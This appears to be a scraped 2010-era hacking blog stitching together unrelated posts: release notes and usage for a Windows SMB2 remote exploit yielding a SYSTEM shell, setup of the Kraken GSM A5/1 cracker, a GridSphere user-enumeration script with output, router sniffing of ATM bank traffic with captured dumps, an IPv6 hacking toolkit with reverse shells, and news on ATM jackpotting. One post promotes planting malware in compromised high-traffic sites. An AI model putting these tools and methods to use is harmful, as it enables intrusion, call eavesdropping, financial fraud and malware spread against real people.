Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------

Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!

Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)

Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.

Sample usage
------------

> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

When all is done it should spawn a port TARGET_IP:28876

RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.

P.S the technique itself is described here:
http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html

===========================================================================
Download:
http://www.exploit-db.com/sploits/smb2_exploit_release.zip

For your information, two days later at 19th August 2010, Kingcope released root exploit for FreeBSD 8.x and 7.x by poisoning mbufs() function. You may download Kingcope’s exploit here. Now happy exploiting while waiting “SAHUR” guys!

• Introduction to grid computing
• Grid computing scanning and enumeration
• Exploiting network and transport layer related to grid security
• Exploiting DNS to stop grid infrastructure trusteeship
• Exploiting web based - grid computing portal
• Cracking certificate authority pass phrase
• Exploiting headnode trusteeship using XML file

Some points mentioned can be exploited using existing network security tool while others are already supported by Grid Toolkit. Grid Toolkit uses python with some additional module which must be installed. The additional python module are:

• Module goto to support grid toolkit core program
• Module ClientForm to support grid portal guessing
• Module Paramiko to support certificate authority cracking

Grid toolkit supports to:

• Scanning and enumeration grid infrastructure
• Guessing login gridsphere - web based grid portal
• Cracking pass phrase of certificate authority private key file
• Exploiting headnode trusteeship using XML file

More reference about how to install and use this tool will be available soon, so just keep in touch with IPSECS. Finally you can download grid toolkit on gridtoolkit.sourceforge.net or reading python source code on core.ipsecs.com!

I am pleased to announce the first release of a A5/1 cracker capable
using the full Berlin set of rainbow tables for lookups. I have named
this beast Kraken, after a Norse mythological creature capable of eating
many things for breakfast. Kraken feeds of an exclusive diet of A5/1
encrypted data.

Currently only a bare bone functionality is present, but the UI will be
improved, with the specific goal of providing an easy to use tool for
cracking GSM intercepts. But setting up this Leviathan can a bit
cumbersome, so I will give a short howto here:

Prerequisites:

* Linux machine, multicore min 3GB RAM
* 1.7 - 2TB of HD partitions without filsystem ( ex Samsung spinpoint F3s,
  with 4k aligned start of partition )
* The Berlin A5/1 Rainbow table set
* GPU support will be added for ATI Radeon HD

Setup:

Find out how many tables you want on each partition, (usually roughly
equal on each) and make the initial configuration file. An example
configuration folder can be found in tinkering/A5Util/indexes. This
folder should contain a tables.conf file. The example files shows a
setup of 4 disk having 10 tables each. The index files for the various
tables will be added to the index folder as they are written to disk.
The first section of the config file needs to be set up with the list of
available partitions, and the number of tables that each partition
should hold. A single table needs 42GB of space. (Do NOT change the
order of this section)

For safety reasons it is best not to build the tables running as root.
The you will then have to make your table partitions user accessible.
Add a file such as 10-disk.rules in /etc/udev/rules.d with one line for
each partition:

KERNEL=="sda1", OWNER="frank"

Then manually change the ownership of the device nodes with chown. Take
care when doing this, as you do not want to nuke any of your system
partitions.

Add tables to your disk array:

First build and make a symlink from your index folder to the
TableConvert tool. It is assumed that the Berlin tables are available in
either SSD or index free delta format. The python script Behemoth.py
will recursively search for tables, and add them to the disk array and
configuration file as needed. (Duplicates will not be added) - This
operation(s) will take some hours to complete, but when done you should
end up with a tables.conf file listing ~40 tables, their advance
parameter (id), which device they reside on, and a block offset into the
device.

Build and fire up Kraken:

./kraken path_to_index_folder

Currently it will only load up all tables, and crack TDMA burst 998 for
the challenge data. This takes 1.5 minutes on a 4 core Phenom II using
only CPU power, and the output should look like:

Cracking
0011011100110000000010000011000110001001101101100110110100111100011010
10100100101111111010111100000110101001101011
Found de6bb5e60617f95c @ 12
Found 6fb7905579e28bfc @ 23

A more interactive UI with appropriate data formats (representations)
will be added for easy interfacing with airprobe. Optional GPU support
will also be added for faster cracking time.

cheers,
Frank

Source : http://lists.lists.reflextor.com/pipermail/a51/2010-July/000683.html

Well the article form http://computerworld.com is really nice to read!

The GSM technology used by the majority of the world’s mobile phones will get some scrutiny at next week’s Black Hat security conference, and what the security researchers there have to say isn’t pretty.

On Friday, an open source effort to develop GSM-cracking software released software that cracks the A5/1 encryption algorithm used by some GSM networks. Called Kraken, this software uses new, very efficient, encryption cracking tables that allow it to break A5/1 encryption much faster than before.

The software is key step toward eavesdropping on mobile phone conversations over GSM networks. Since GSM networks are the backbone of 3G, they also provide attackers with an avenue into the new generation of handsets.

In December, the group released a set of encryption tables designed to speed up the arduous process of breaking A5/1 encryption, but the software component was incomplete. Now the software is done, and the tables are much more efficient than they were seven months ago. “The speed of how fast you could crack a call is probably orders of magnitude better than anything previously,” said Frank Stevenson, a developer with the A5/1 Security Project. “We know we can do it in minutes; the question is, can we do it in seconds?”

As the software becomes more polished it will make GSM call eavesdropping practical. “Our attack is so easy to carry out, and the cost of attack is lowered so significantly, that there is now a real danger of widespread intercepting of calls,” Stevenson said.

Stevenson and his co-developers haven’t put together all the components someone would need to listen in on a call — that would be illegal in some countries. Someone must still develop the radio listening equipment needed to gain access to the GSM signal, but that type of technology is within reach. Stevenson believes that this could be done using an inexpensive mobile phone and a modified version of open-source software called OsmocomBB. Hackers could also use a more-expensive Universal Software Radio Peripheral (USRP) device in conjunction with another program, called Airprobe.

A5/1 Security Project leader Karsten Nohl will discuss the hardware and software setup for his project’s GSM cracking tools at next week’s conference.

Last year there were about 3.5 billion GSM phones in use, according to data from the GSM Association. Not all of these phones are on networks that use A5/1 encryption — some use the more-secure A5/3 algorithm; others use no encryption — but a sizeable percentage are.

In the U.S., both AT&T and T-Mobile operate GSM networks.

The trade group that represents GSM network operators and equipment manufacturers, the GSM Association, has said in the past that A5/1 cracking efforts such as this are interesting, but attacks are extremely difficult to pull off in the real world. Intercepting mobile phone calls is illegal in many countries, including the U.S. The GSM Association did not respond to messages seeking comment for this story.

Project developers say the point of their work is to show how easy it really would be to crack A/51 — something they say that grey market commercial products are already doing. According to Stevenson many of these security problems are solved in next-generation mobile network technologies such as 3G and LTE (Long Term Evolution).

However, even 3G phones can be compromised because they can roll back to GSM mode when a 3G network is not available. “You can choose to operate in 3G mode only, but then you will have very limited coverage,” Stevenson said. “GSM has become the Achilles Heel of 3G security.”

Meanwhile, another Black Hat presenter, Chris Paget plans to demonstrate a completely different way to intercept GSM calls. He’s setting up a fake cellular tower that masquerades as a legitimate GSM network.

According to Paget, using open-source tools and a US$1,500 USRP radio, he can assemble his fake tower, called an IMSI (International Mobile Subscriber Identity) catcher. In a controlled experiment, he’s going to set one up at Black Hat and invite audience members to connect their mobile phones. Once a phone has connected, Paget’s tower tells it to drop encryption, giving him a way of listening in on calls.

“I think there’s been too much focus on the cryptographic weaknesses in GSM,” he said. “People need to recognize that the cryptographic weaknesses are not the worst weaknesses in GSM. “

monitor traffic interface ge-1/0/0.0 detail no-resolve
monitor traffic interface ge-1/0/0.0 detail no-resolve print-ascii print-hex

These two commands will work in Juniper like tcpdump in linux/unix below:

tcpdump -nev -i ge-1/0/0.0
tcpdump -nev -X -i ge-1/0/0.0

But remember, ge-1/0/0.0 interface is not known in linux/unix so that’s why you have to change this with Network Interface Card (NIC) in linux/unix. Then, how if our router is not Juniper family? Here, i’ll write my experience in sniffing inside Cisco router which’s known as the most popular router over the world.

Say that you want to know, what traffic flows inside sub interface fa0/1.513 which connected to Automatic Teller Machine known Bank. You must create access-list to log all traffic on fa0/1.513.

access list 110 permit tcp any gt 0 any gt 0 log
access list 110 permit udp any gt 0 any gt 0 log
access list 110 permit icmp any any log
access list 110 permit ip any any log

Implement this access-list to sub interface fa0/1.513 then see result by monitoring log created by access-list.

interface fa0/1.513
ip access-group 110 in
CTRL+Z
terminal monitor

If there’s no failure, you must see the result:


Jul 11 02:30:45.810 WIB: %SEC-6-IPACCESSLOGP: list 110 permitted tcp 40.168.13.2(4034) -> 46.20.10.1(1124), 37 packets
Jul 11 02:30:45.810 WIB: %SEC-6-IPACCESSLOGP: list 110 permitted tcp 40.168.13.6(1521) -> 46.20.10.1(1124), 37 packets
Jul 11 02:32:45.835 WIB: %SEC-6-IPACCESSLOGDP: list 110 permitted icmp 40.168.13.6 -> 10.44.69.52 (0/0), 1 packet


You may want to know much more about traffic destined to 46.20.10.1. You want to know about information carried by this traffic. So, you have to create another access-list rule.

access-lists 111 permit tcp any host 46.20.10.1
access-lists 111 permit udp any host 46.20.10.1
access-lists 111 permit icmp any host 46.20.10.1

You can use ‘debug’ command with hiden options ‘dump’ to print all information destined to 46.20.10.1 and monitoring debug result.

debug ip packet 111 dump
terminal monitor

Result is in hexal format:

Jul 11 09:19:41.854 JAKARTA: IP: tableid=71, s=40.164.1.14 (GigabitEthernet0/1.319), d=46.20.10.1 (GigabitEthernet0/2.33), routed via FIB
Jul 11 09:19:41.854 JAKARTA: IP: s=40.164.1.14 (GigabitEthernet0/1.319), d=46.20.10.1 (GigabitEthernet0/2.33), g=118.98.3.121, len 40, forward
0E002C80: 0012 7FAF2D1B .../-.
0E002C90: 001B2131 6E5C0800 45000028 D71B4000 ..!1n\..E..(W.@.
0E002CA0: 7F06C2ED 28A4010E 2E140A01 06660463 ..Bm($.......f.c
0E002CB0: 2E25CC06 030DE2FF 5010FA95 68760000 .%L...b.P.z.hv..
0E002CC0:
Jul 11 09:19:43.830 JAKARTA: IP: tableid=71, s=40.164.1.14 (GigabitEthernet0/1.319), d=46.20.10.1 (GigabitEthernet0/2.33), routed via FIB
Jul 11 09:19:43.830 JAKARTA: IP: s=40.164.1.14 (GigabitEthernet0/1.319), d=46.20.10.1 (GigabitEthernet0/2.33), g=118.98.3.121, len 154, forward
0E50C5A0: 0012 7FAF2D1B .../-.
0E50C5B0: 001B2131 6E5C0800 4500009A D71C4000 ..!1n\..E...W.@.
0E50C5C0: 7F06C27A 28A4010E 2E140A01 06660463 ..Bz($.......f.c
0E50C5D0: 2E25CC06 030DE2FF 5018FA95 A5220000 .%L...b.P.z.%"..
0E50C5E0: 00703131 1C303030 1C1C1C31 381C3B35 .p11.000...18.;5
0E50C5F0: 32363432 32323336 30323036 3835383D 264222360206858=
0E50C600: 31323130 31323137 31343F1C 1C434220 1210121714?..CB
0E50C610: 20202020 411C3030 30303030 30303030 A.0000000000
0E50C620: 30301C36 3F353E3F 3E3D3B3F 37343E30 00.6?5>?>=;?74>0
0E50C630: 3A32371C 1C1C311C 32363834 33313030 :27...1.26843100
0E50C640: 30303030 30303031 30303030 30303030 00

Raw cisco dump above can easily be re-written to be hexal in ASCII using this perl script created by Tassos or this simple tool called dump2pcap (rawpcap). You may want to know more information about how to convert hexal information which is displayed by debug command to PCAP file by reading this CCIE in 3 months article. Once PCAP file has been written, you can read them using wireshark.

ATM sniffed

GridSphere which is critically uses to access grid resource is found to be vulnerable that can be exploited to enumerate a user is valid or not in grid. This vulnerability exist due to the response of gridsphere in handling in-exist user with “User does not exist“. To exploit this issue, you can use this python script.

python gridsphere-brute.py https://example.com/acgt/portal?cid=login users.txt

[INVALID] anto
[INVALID] abc
[INVALID] betha
[INVALID] een
[INVALID] nita
[INVALID] aris
[INVALID] atik
[INVALID] babas
[INVALID] alex
[OK] admin
[INVALID] fuck
[INVALID] lisa
[INVALID] ifa
[INVALID] hana
[INVALID] bram

IPSECS has developed some tools to assess grid computing security years ago which can be download here. The tools is encoded in ASCII and bundled with article which explains grid computing [in]security written in indonesian. The tools provided can be used to:

• Enumerate headnode by identifying GridFTP Service and Web Service Container
• Crack private key in Certificate Authority
• Exploit others headnode in grid when a headnode and its certificate compromised.

For your information, currently IPSECS is developing grid-toolkit to make grid computing penetration much more easier.

Have you ever thought to insert malware in compromised website and exploit their clients? yeah browser vulnerability is the answer! Inserting in low-traffic website will not really help spreading your malware and compromise their clients!

Now, even this is old for us (IPSECS), we release tool to identify trafffic rank based on Alexa. This tool will help you to identify Alexa Rank on massive collected domains. By knowing the traffic rank of domains, this tool helps you to decide if website is worth or not if you put your ads on them. By knowing the traffic rank of domains, you can know if website is potential or not in boosting your revenue. Our simple tool need some perl module to be installed:

• strict
• warnings
• Switch
• POSIX
• LWP::UserAgent
• HTTP::Message

Lastly, you can download our tool to help indentifying traffic here. Cheat the ads for your profit, Boost your revenue now!

DoD 8570 seeks to accomplish the following objectives:

1. Create standards whereby IA Workfoce personnel, at all levels and fuctions, obtain a uniform level of competency with regard to DoD information and networks.
2. Establish a minimum skill level for all IA Workforce personnel throughout the DoD.
3. Provide qualified IA Workforce members to the soldiers that need them.
4. Creation of a set of formal training requirements and establishment of certification programs.
5. Add to the knowledge base of every IA Workforce team member through education or experience.

DoD 8750 document can be found here while DoD 8750 training and assessment can be reached at GIAC/DoD8750.

This article is ripped and modified from http://dod8570.net/

IPSECS, unofficially releases his IPv6 Hackit on sourceforge and papers which nearly complete explains IPv6 exploitation. His papers content of :

• Introduction to IPv6
• Connecting to IPv6 Backbone (IPv6-in-IPv4 Tunneling using TSP)
• An Introduction to IPv6 Socket Programming
• IPv6 Discovery & Scanning (via ICMP, TCP, DNS)
• Writing IPv6 Remote Exploit & Shellcoding (Stack Based Buffer Overflow, Format String)
• IPv6 Protocol Vulnerability (Man In The Middle, Denial of Service)

You can freely download this paper on core.ipsecs.com written in Indonesian. IPSECS wrote IPv6-Hackit using Perl Scripting Language which means that the tools don’t need to be compiled. Somehow, this tool needs some perl module to be installed:

• strict
• warnings
• Switch
• English
• Net::DNS
• POSIX
• Getopt::Long
• LWP::UserAgent
• HTTP::Message
• IO::Socket::INET6

This tool supports to do:

• Hosts Enumeration finding which host is up/down.
• TCP Port scanning to find which port is open/close.
• Googling via unix shell to find possible IPv6 domains.
• Finding AAAA IPv6 host record from single or massive collected domains.
• Getting shell from IPv6 binding shellcode/payload.
• Getting shell from IPv6 reverse shellcode/payload.
• Exploiting simple IPv6 application weakness (currently this module is still developed)
• IPv6 Binding backdoor with authentication (currently this module is still developed)

You can easily download this IPv6 Hackit on ipv6hackit.sourceforge.net. Meanwhile you play this tools and read the paper, now we develope grid-toolkit to be released soon. So just follow and watch this website, IPSECS just gives best stuff to play with! Finally enjoy guys!


Table of Content
1. Basic Shell Scripting
a. Redirections & Pipes
i. Redirections
ii. Pipes
b. Variables
c. Conditional & Looping Statements
i. Conditional if .. then
ii. Conditional if .. then .. else
iii. Conditional switch .. case
iv. Looping for
v. Looping while
vi. Looping until
d. Introduction Bash I/O Scripting
i. Using read
ii. Using command line argument
e. Arithmetic & Strings Operations
i. Arithmetic Operations
ii. Strings Operations
2. Advanced Shell Scripting
a. Array
b. Regular Expression
i. Grep
ii. Awk
iii. Sed
c. System Administrative Command Scripting
d. Aliases
e. Functions
f. I/O Redirections
g. Using /dev & /proc
i. Using /dev
ii. Using /proc
h. Security Issues
i. Code Poetry
3. Shell Scripting in Practice
a. Creating & Scheduling Automatic Backup
b. Creating & Scheduling Automatic File Integrity Checker
c. DomainToIP Enumeration Script
d. Start & Stop GRE Tunneling Script
e. Automatic Default Routing Switcher Script
f. Start & Stop Firewall Script
g. Start & Stop Bandwith Management Script
h. Datacomm needs?? Q&A

Just download this paper at here and all bash script presented here. Oke, that’s all and hope it help! Enjoy

He plans to give the talk, entitled “Jackpotting Automated Teller Machines,” at the Black Hat Las Vegas conference, held July 28 and 29.

Jack will demonstrate several ways of attacking ATM machines, including remote, network-based attacks. He will also reveal a “multi-platform ATM rootkit,” and will discuss things that the ATM industry can do to protect itself from such attacks, he writes in his description of the talk, posted this week to the Black Hat Web site.

Jack was set to discuss ATM security problems at last year’s conference, but his employer, Juniper Networks, made him pull the presentation after getting complaints from an ATM maker that was worried that the information he had discovered could be misused.

The security researcher found a straightforward way of getting around Juniper’s objections, however. Last month, he took a new job as director of security research with IOActive.

ATM machines do get compromised, but in a roundabout way. Thieves often hit them by installing card skimmers on them to extract magnetic stripe data from the cards. Then, using a hidden video camera, they steal login numbers. Using all of this information, the crooks can build their own duplicate cards and empty bank accounts.

But Jack’s talk looks at a new area: bugs in the software used to run the machines.

He’s taken advantage of the extra year provided by Juniper’s ban to do more research. “Last year, there was one ATM; this year, I’m doubling down and bringing two new model ATMs from two major vendors,” Jack says in his talk description. The security researcher couldn’t immediately be reached for comment.

Jack doesn’t say which ATMs he plans to discuss, but it could be any major vendor, according to Black Hat Director Jeff Moss. “He’s got a living room full of a lot of different brands of ATMs, and they all seem to suffer from one or the other problem,” he said.

ATMs haven’t received a lot of serious scrutiny by security researchers, so Jack’s talk will break new ground, Moss said. “Apparently you can make all the money come out,” he said.

Source: www.networkland.com